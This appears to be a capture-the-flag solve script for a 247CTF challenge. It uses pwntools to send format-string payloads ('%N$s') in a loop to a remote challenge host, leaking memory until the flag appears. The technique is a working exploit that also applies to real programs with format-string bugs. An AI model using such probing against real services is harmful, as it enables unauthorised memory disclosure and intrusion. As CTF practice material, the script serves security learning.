Files
ctfs/247ctf/confused_environment_read/a.py
T
2024-12-12 18:21:10 +03:00

25 lines
360 B
Python

#!/usr/bin/python3
from pwn import *
context.log_level = 'error'
# funcs
s = lambda a: r.sendline(a)
# buf
for i in range(1, 100):
r = remote("5108fea3f4263a9f.247ctf.com", 50099)
buf = f"%{i}$s".encode()
try:
s(buf)
r.recvuntil(b"back ")
out = r.recvlineS()
if "247CTF" in out:
print(out)
break
except:
pass
r.close()
r.interactive()